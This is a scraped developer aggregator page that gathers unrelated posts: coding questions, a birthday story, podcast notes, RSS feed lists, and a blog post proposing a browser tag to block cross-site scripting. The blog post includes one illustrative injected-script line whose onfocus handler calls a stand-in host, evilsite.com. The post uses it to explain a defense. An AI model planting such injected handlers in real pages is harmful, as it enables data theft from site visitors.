hart simha - Page 3 - Developer IT

Pattern for managing reference count and object life

- by Gopalakrishnan Subramani

We have a serial port which is connected to hundreds of physical devices on the same wire. We have protocols like Modbus and Hart to handle the request and response between the application and devices. The question is related to managing the reference count of the channel. When no device is using the channel, the channel should be closed. public class SerialPortChannel { int refCount = 0; public void AddReference() { refCount++; } public void ReleaseReference() { refCount--; if (refCount <= 0) this.ReleasePort(); //This close the serial port } } For each device connected, we create a object for the device like device = new Device(); device.Attach(channel); //this calls channel.AddReference() When the device disconnect, device.Detach(channel); //this calls channel.ReleaseReference() I am not convinced by the reference count model. Are there any better way to handle this problem in .NET World?

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how start implement MVVM pattern

- by netmajor

Hello, So i decide to to develop my asp.net site into Silverlight. I today start to search articles about MVVM pattern which i want use in my Silverlight app, and i am confused :/ It's hart to me understand how works this pattern. I am find 3 frameworks which supports MVVM pattern in Silverlight - Caliburn, MVVM Light Toolkit and GoodLight. Should i start from own implementation of pattern or use framework? Is this frameworks only a project solutions in which i can insert my code? Which framework is the best for novice and which for professional? I ask for this, cause i must start to rewrite my app from asp.net to Silverlight and i don't know that i can do it first and later (when i understand MVVM pattern and framework) implement this pattern in finished app ? Or from begining rewrite project to MVVM framework?

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NoMethodError in UsersController#create

- by Mike DeVerna

I'm getting stuck on an error I'm getting when signing up a new user in Michael Hart's Ruby on Rails Tutorial. I'm new to rails but I've been searching for hours and can't seem to find anything to figure out the issue. My initial thought is that it's specific to the following line: redirect_to @user This is my file for users_controller.rb #!/bin/env ruby # encoding: utf-8 class UsersController < ApplicationController def show @user = User.find(params[:id]) end def new @user = User.new end def create @user = User.new(params[:user]) if @user.save flash[:success] = "Welcome to the Sample App!" ?????????????? redirect_to @user else render 'new' end end end This is the error message I get: NoMethodError in UsersController#create undefined method `??????????????' for # Rails.root: /Users/mikedeverna/Documents/rails_projects/sample_app Application Trace | Framework Trace | Full Trace app/controllers/users_controller.rb:18:in `create' Here is the code in my routes.rb file: SampleApp::Application.routes.draw do resources :users resources :sessions, only: [:new, :create, :destroy] root to: 'static_pages#home' match '/signup', to: 'users#new' match '/signin', to: 'sessions#new' match '/signout', to: 'sessions#destroy', via: :delete match '/help', to: 'static_pages#help' match '/about', to: 'static_pages#about' match '/contact', to: 'static_pages#contact'

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Meet Peter, 80 years old today

- by AdamRG

You have to arrive at the office early in the morning to meet Peter. He arrives at 5am and by 8:30am he's gone. Peter has been a cleaner here for several years. He is 80 years old today. Peter was born only a couple of km from our office in Cambridge, England and was for many years an Engineer for Pye Electronics. I'm lucky enough to arrive in the office early enough to catch Peter, dressed smarter than most of us in shirt and tie, and he tells stories of how Cambridge was years ago. He says the site of our office is on land between what would have been a prisoner of war camp (camp 1025), and a few hundred metres North, a camp of American allies. In February 1944, Peter was 13 years old. One night, a Dornier Do 217 heavy bomber heading towards London was hit by anti-aircraft fire and the crew of four parachuted from the plane. The plane however, continued on autopilot for over 50km. Gradually dropping lower and lower, narrowly missing the spires of Cambridge, it eventually came to land, largely intact, in allotment gardens by Peter's house near Milton Road. He told me that he was quick to the scene, along with some other young lads, and grabbed parts of the plane as souvenirs. It's one of many tales that Peter recounts, but I happened to discover a chapter about this particular plane crash in a history book called the War Torn Skies of Great Britain by Julian Evan-Hart. It reads: 'It slid to a halt in the allotment gardens of Milton Road. The cockpit ended up crumpled against a wooden fence and several incendiary bombs that had broken loose from their containers in the ruptured bomb bay were strewn over the ground behind the Dornier.' I smiled when I read the following line: 'Many residents came to see the Dornier in the allotments. Several lads made off with souvenirs' It seems a young Peter has been captured in print! For his birthday, among other things, we gave him a copy of the book. Working for a software company and rushing headlong through the 21st century, it's easy to forget even our recent history, or what feet stood on the same ground before us. That aircraft crashed only 700 metres from where our office now stands. The disused and overgrown railway line that runs down the side of the office closed to passengers 30 years ago. The industrial estate the other side was the site of a farm, Trinity Hall Farm, as recently as 60 years ago. Roman rings and Palaeolithic handaxes have been unearthed nearby. I suppose Peter will be one of the last people I'll ever hear talking first-hand about Cambridge during the war. It's a privilege to know him. Happy birthday Peter.

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Java Spotlight Episode 104: Devoxx 4 Kids

- by Roger Brinkley

Stephan Jannsen talks about the new Devoxx 4 Kids that he launched this last weekend in Belgium. Right-click or Control-click to download this MP3 file. You can also subscribe to the Java Spotlight Podcast Feed to get the latest podcast automatically. If you use iTunes you can open iTunes and subscribe with this link: Java Spotlight Podcast in iTunes. Show Notes News WebSocket JSR Early Draft (JSR 356) JAX-RS 2 Public Draft (JSR 339) JMS2, JAX-RS 2, WebSocket, JSON integrated in GlassFish 4 Promoted Builds Java EE 7 Revised Scope - Q2 2013 JavaOne Content Available for Free Please try Oracle's Java Uninstall Applet OpenJDK Community and Project Scorecard Experimental new utility to detect issues in javadoc comments PermGen Elimination project is promoting JDK bug migration milestone: JIRA now the system of record Project Jigsaw: On the next train New OpenJDK Projects: ThreeTen & Project Sumatra Events Oct 15-17, JAX London, London, United Kingdom Oct 20, Devoxx 4 Kids Français, Brussels, Belgium Oct 22-23, Freescale Technology Forum - Japan, Tokyo, Japan Oct 23-25, EclipseCon Europe, Ludwigsburg, Germany Oct 30-Nov 1, Arm TechCon, Santa Clara, United States of America Oct 31, JFall, Hart van Holland, Netherlands Nov 2-3, JMaghreb, Rabat, Morocco Nov 5-9, Øredev Developer Conference, Malmö, Sweden Nov 13-17, Devoxx, Antwerp, Belgium Nov 20-22, DOAG 2012, Nuremberg, Germany Dec 3-5, jDays, Göteborg, Sweden Dec 4-6, JavaOne Latin America, Sao Paolo, Brazil Feature InterviewStephan Janssen is a serial entrepreneur that has founded several successful organizations such as the Belgian Java User Group (BeJUG) in 1996, JCS Int. in 1998, JavaPolis in 2002 and now Parleys.com in 2006. He has been using Java since its early releases in 1995 with experience of developing and implementing real world Java solutions in the finance and manufacturing industries. Today Stephan is the CTO of the Java Competence Center at RealDolmen. He was selected by BEA Systems as the first European (independent) BEA Technical Director. He has also been recognized by the Server Side as one of the 54 Who is Who in Enterprise Java 2004. Sun has recognized in 2005 his efforts for the Java Community and has engaged him in the Java Champion project. He has spoken at numerous Java and JUG conferences around the world.Devoxx 4 KidsNew to Java Programming Center -- Young Developers What’s Cool "Here is the draft proposal to add a public Base64 utility class for JDK8." Default methods for jdk8: request for code review Raspberry Pi Model B now ships with 512MB of RAM JDuchess roadshow on the Island of Java. Nety and Mila from Meruvian.First week roadshowSecond week roadshowThird week part 1

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how to put result in the end using jquery

- by Martty Rox

my code is : html with the js in section please ch3eck it out i need to prodeuce the result of the form of five questions and display it in the last section of the page where am i going wrong am using innerhtml js thing to produce the result in the last section <div id="section1"> <script type="text/javascript"> function changeText2(){ alert("working"); var count1=0; var a=document.forms["myForm"]["drop1"].value; var b=document.forms["myForm"]["drop2"].value; alert(document.forms["myForm"]["drop2"].value); var c=document.forms["myForm"]["drop3"].value; var d=document.forms["myForm"]["drop4"].value; var e=document.forms["myForm"]["drop5"].value; var f=document.forms["myForm"]["drop6"].value; if(a===2) { count1++; alert(count1); } else { alert("lit"); } if(b===2) { count1++; } else { alert("lit"); } if(c===2) { count1++; } else { alert("lit"); } if(d===2) { count1++; } else { alert("lit"); } if(e===2) { count1++; } else alert("lit"); } alert(count1); document.getElementById('boldStuff2').innerHTML = count1; </script> <form name="myForm"> <p>1)  Who won the 1993 “King of the Ring”?</p> <div> <select id="f1" name="drop1"> <option value="0" selected="selected">-- Select -- </option> <option value="1">Owen Hart </option> <option value="2">Bret Hart </option> <option value="3">Edge </option> <option value="4">Mabel </option> </select> </div>  <p>2)  What NHL goaltender has the most career wins?</p> <div> <select id="f2" name="drop2"> <option value="0" selected="selected">-- Select -- </option> <option value="1">Grant Fuhr </option> <option value="2">Patrick Roy </option> <option value="3">Chris Osgood </option> <option value="4">Mike Vernon</option> </select> </div>  <p>3)  What Major League Baseball player holds the record for all-time career high batting average?</p> <div> <select id="f3" name="drop3"> <option value="0" selected="selected">-- Select -- </option> <option value="1">Ty Cobb </option> <option value="2">Larry Walker </option> <option value="3">Jeff Bagwell </option> <option value="4">Frank Thomas</option> </select> </div>  <p>4)  Who among the following is NOT associated with billiards in India?</p> <div> <select id="f4" name="drop4" > <option value="0" selected="selected">-- Select -- </option> <option value="1">Subash Agrawal </option> <option value="2">Ashok Shandilya </option> <option value="3">Manoj Kothari </option> <option value="4">Mihir Sen</option> </select> </div>  <p>5)  Which cricketer died on the field in Bangladesh while playing for Abahani Club?</p> <div> <select id="f5" name="drop5" > <option value="0" selected="selected">-- Select -- </option> <option value="1">Subhash Gupte</option> <option value="2">M.L.Jaisimha</option> <option value="3">Lala Amarnath</option> <option value="4">Raman Lamba</option> </select> </div>  <a href="#services" class="page_nav_btn next"><input type='button' onclick='changeText2()' value='NEXT'/></a> </form> </div> <div id="section2"> </div> ... <div id="results"> <b id='boldStuff2'>fff ggg</b> </div> need to display the results of each section at the last div as shown in script... js for first section not working plz some help me where am i going wrong....

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RSS Feeds currently on Simple-Talk

- by Andrew Clarke

There are a number of news-feeds for the Simple-Talk site, but for some reason they are well hidden. Whilst we set about reorganizing them, I thought it would be a good idea to list some of the more important ones. The most important one for almost all purposes is the Homepage RSS feed which represents the blogs and articles that are placed on the homepage. Main Site Feed representing the Homepage ..which is good for most purposes but won't always have all the blogs, or maybe it will occasionally miss an article. If you aren't interested in all the content, you can just use the RSS feeds that are more relevant to your interests. (We'll be increasing these categories soon) The newsfeed for SQL articles The .NET section newsfeed The newsfeed for Red Gate books The newsfeed for Opinion articles The SysAdmin section newsfeed if you want to get a more refined feed, then you can pick and choose from these feeds for each category so as to make up your custom news-feed in the SQL section, SQL Training Learn SQL Server Database Administration TSQL Programming SQL Server Performance Backup and Recovery SQL Tools SSIS SSRS (Reporting Services) in .NET there are... ASP.NET Windows Forms .NET Framework ,NET Performance Visual Studio .NET tools in Sysadmin there are Exchange General Virtualisation Unified Messaging Powershell in opinion, there is... Geek of the Week Opinion Pieces in Books, there is .NET Books SQL Books SysAdmin Books And all the blogs have got feeds. So although you can get all the blogs from here.. Main Blog Feed You can get individual RSS feeds.. AdamRG's Blog Alex.Davies's Blog AliceE's Blog Andrew Clarke's Blog Andrew Hunter's Blog Bart Read's Blog Ben Adderson's Blog BobCram's Blog bradmcgehee's Blog Brian Donahue's Blog Charles Brown's Blog Chris Massey's Blog CliveT's Blog Damon's Blog David Atkinson's Blog David Connell's Blog Dr Dionysus's Blog drsql's Blog FatherJack's Blog Flibble's Blog Gareth Marlow's Blog Helen Joyce's Blog James's Blog Jason Crease's Blog John Magnabosco's Blog Laila's Blog Lionel's Blog Matt Lee's Blog mikef's Blog Neil Davidson's Blog Nigel Morse's Blog Phil Factor's Blog red@work's Blog reka.burmeister's Blog Richard Mitchell's Blog RobbieT's Blog RobertChipperfield's Blog Rodney's Blog Roger Hart's Blog Simon Cooper's Blog Simon Galbraith's Blog TheFutureOfMonitoring's Blog Tim Ford's Blog Tom Crossman's Blog Tony Davis's Blog As well as these blogs, you also have the forums.... SQL Server for Beginners Forum Programming SQL Server Forum Administering SQL Server Forum .NET framework Forum .Windows Forms Forum ASP.NET Forum ADO.NET Forum

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Wishful Thinking: Why can't HTML fix Script Attacks at the Source?

- by Rick Strahl

The Web can be an evil place, especially if you're a Web Developer blissfully unaware of Cross Site Script Attacks (XSS). Even if you are aware of XSS in all of its insidious forms, it's extremely complex to deal with all the issues if you're taking user input and you're actually allowing users to post raw HTML into an application. I'm dealing with this again today in a Web application where legacy data contains raw HTML that has to be displayed and users ask for the ability to use raw HTML as input for listings. The first line of defense of course is: Just say no to HTML input from users. If you don't allow HTML input directly and use HTML Encoding (HttyUtility.HtmlEncode() in .NET or using standard ASP.NET MVC output @Model.Content) you're fairly safe at least from the HTML input provided. Both WebForms and Razor support HtmlEncoded content, although Razor makes it the default. In Razor the default @ expression syntax:@Model.UserContent automatically produces HTML encoded content - you actually have to go out of your way to create raw HTML content (safe by default) using @Html.Raw() or the HtmlString class. In Web Forms (V4) you can use:<%: Model.UserContent %> or if you're using a version prior to 4.0:<%= HttpUtility.HtmlEncode(Model.UserContent) %> This works great as a hedge against embedded <script> tags and HTML markup as any HTML is turned into text that displays as HTML but doesn't render the HTML. But it turns any embedded HTML markup tags into plain text. If you need to display HTML in raw form with the markup tags rendering based on user input this approach is worthless. If you do accept HTML input and need to echo the rendered HTML input back, the task of cleaning up that HTML is a complex task. In the projects I work on, customers are frequently asking for the ability to post raw HTML quite frequently. Almost every app that I've built where there's document content from users we start out with text only input - possibly using something like MarkDown - but inevitably users want to just post plain old HTML they created in some other rich editing application. See this a lot with realtors especially who often want to reuse their postings easily in multiple places. In my work this is a common problem I need to deal with and I've tried dozens of different methods from sanitizing, simple rejection of input to custom markup schemes none of which have ever felt comfortable to me. They work in a half assed, hacked together sort of way but I always live in fear of missing something vital which is *really easy to do*. My Wishlist Item: A <restricted> tag in HTML Let me dream here for a second on how to address this problem. It seems to me the easiest place where this can be fixed is: In the browser. Browsers are actually executing script code so they have a lot of control over the script code that resides in a page. What if there was a way to specify that you want to turn off script code for a block of HTML? The main issue when dealing with HTML raw input isn't that we as developers are unaware of the implications of user input, but the fact that we sometimes have to display raw HTML input the user provides. So the problem markup is usually isolated in only a very specific part of the document. So, what if we had a way to specify that in any given HTML block, no script code could execute by wrapping it into a tag that disables all script functionality in the browser? This would include <script> tags and any document script attributes like onclick, onfocus etc. and potentially also disallow things like iFrames that can potentially be scripted from the within the iFrame's target. I'd like to see something along these lines:<article> <restricted allowscripts="no" allowiframes="no"> <div>Some content</div> <script>alert('go ahead make my day, punk!");</script> <div onfocus="$.getJson('http://evilsite.com/')">more content</div> </restricted> </article> A tag like this would basically disallow all script code from firing from any HTML that's rendered within it. You'd use this only on code that you actually render from your data only and only if you are dealing with custom data. So something like this:<article> <restricted> @Html.Raw(Model.UserContent) </restricted> </article> For browsers this would actually be easy to intercept. They render the DOM and control loading and execution of scripts that are loaded through it. All the browser would have to do is suspend execution of <script> tags and not hookup any event handlers defined via markup in this block. Given all the crazy XSS attacks that exist and the prevalence of this problem this would go a long way towards preventing at least coded script attacks in the DOM. And it seems like a totally doable solution that wouldn't be very difficult to implement by vendors. There would also need to be some logic in the parser to not allow an </restricted> or <restricted> tag into the content as to short-circuit the rstricted section (per James Hart's comment). I'm sure there are other issues to consider as well that I didn't think of in my off-the-back-of-a-napkin concept here but the idea overall seems worth consideration I think. Without code running in a user supplied HTML block it'd be pretty hard to compromise a local HTML document and pass information like Cookies to a server. Or even send data to a server period. Short of an iFrame that can access the parent frame (which is another restriction that should be available on this <restricted> tag) that could potentially communicate back, there's not a lot a malicious site could do. The HTML could still 'phone home' via image links and href links potentially and basically say this site was accessed, but without the ability to run script code it would be pretty tough to pass along critical information to the server beyond that. Ahhhh… one can dream… Not holding my breath of course. The design by committee that is the W3C can't agree on anything in timeframes measured less than decades, but maybe this is one place where browser vendors can actually step up the pressure. This is something in their best interest to reduce the attack surface for vulnerabilities on their browser platforms significantly. Several people commented on Twitter today that there isn't enough discussion on issues like this that address serious needs in the web browser space. Realistically security has to be a number one concern with Web applications in general - there isn't a Web app out there that is not vulnerable. And yet nothing has been done to address these security issues even though there might be relatively easy solutions to make this happen. It'll take time, and it's probably not going to happen in our lifetime, but maybe this rambling thought sparks some ideas on how this sort of restriction can get into browsers in some way in the future.© Rick Strahl, West Wind Technologies, 2005-2012Posted in ASP.NET HTML5 HTML Security Tweet !function(d,s,id){var js,fjs=d.getElementsByTagName(s)[0];if(!d.getElementById(id)){js=d.createElement(s);js.id=id;js.src="//platform.twitter.com/widgets.js";fjs.parentNode.insertBefore(js,fjs);}}(document,"script","twitter-wjs"); (function() { var po = document.createElement('script'); po.type = 'text/javascript'; po.async = true; po.src = 'https://apis.google.com/js/plusone.js'; var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(po, s); })();

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How to find specific value of the node in xml file

- by user2735149

I am making windows phone 8 app based the webservices. This is my xml code: - <response> <timestamp>2013-10-31T08:30:56Z</timestamp> <resultsOffset>0</resultsOffset> <status>success</status> <resultsLimit>8</resultsLimit> <resultsCount>38</resultsCount> - <headlines> - <headlinesItem> <headline>City edge past Toon</headline> <keywords /> <lastModified>2013-10-30T23:45:22Z</lastModified> <audio /> <premium>false</premium> + <links> - <api> - <news> <href>http://api.espn.com/v1/sports/news/1600444?region=GB</href> </news> </api> - <web> <href>http://espnfc.com/uk/en/report/381799/city-edge-toon?ex_cid=espnapi_public</href> </web> - <mobile> <href>http://m.espn.go.com/soccer/gamecast?gameId=381799&lang=EN&ex_cid=espnapi_public</href> </mobile> </links> <type>snReport</type> <related /> <id>1600444</id> <story>Alvardo Negredo and Edin Dzeko struck in extra-time to book Manchester City's place in the last eight of the Capital One Cup, while Costel Pantilimon kept a clean sheet in the 2-0 win to keep the pressure on Joe Hart. </story> <linkText>Newcastle 0-2 Man City</linkText> - <images> - <imagesItem> <height>360</height> <alt>Man City celebrate after Edin Dzeko scored their second extra-time goal at Newcastle.</alt> <width>640</width> <name>Man City celeb Edin Dzeko goal v nufc 20131030 [640x360]</name> <caption>Man City celebrate after Edin Dzeko scored their second extra-time goal at Newcastle.</caption> <type>inline</type> <url>http://espnfc.com/design05/images/2013/1030/mancitycelebedindzekogoalvnufc20131030_640x360.jpg</url> </imagesItem> </images> Code behind: myData = XDocument.Parse(e.Result, LoadOptions.None); var data = myData.Descendants("headlines").FirstOrDefault(); var data1 = from query in myData.Descendants("headlinesItem") select new UpdataNews { News = (string)query.Element("headline").Value, Desc = (string)query.Element("description"), Newsurl = (string)query.Element("links").Element("mobile").Element("href"), Imageurl=(string)query.Element("images").Element("imagesItem").Element("url").Value, }; lstShow.ItemsSource = data1; I am trying to get value from xml tags and assign them to News,Desc, etc. Everything works fine except Imageurl, it shows NullException. I tried same method for Imageurl, i dont know whats going wrong. Help..

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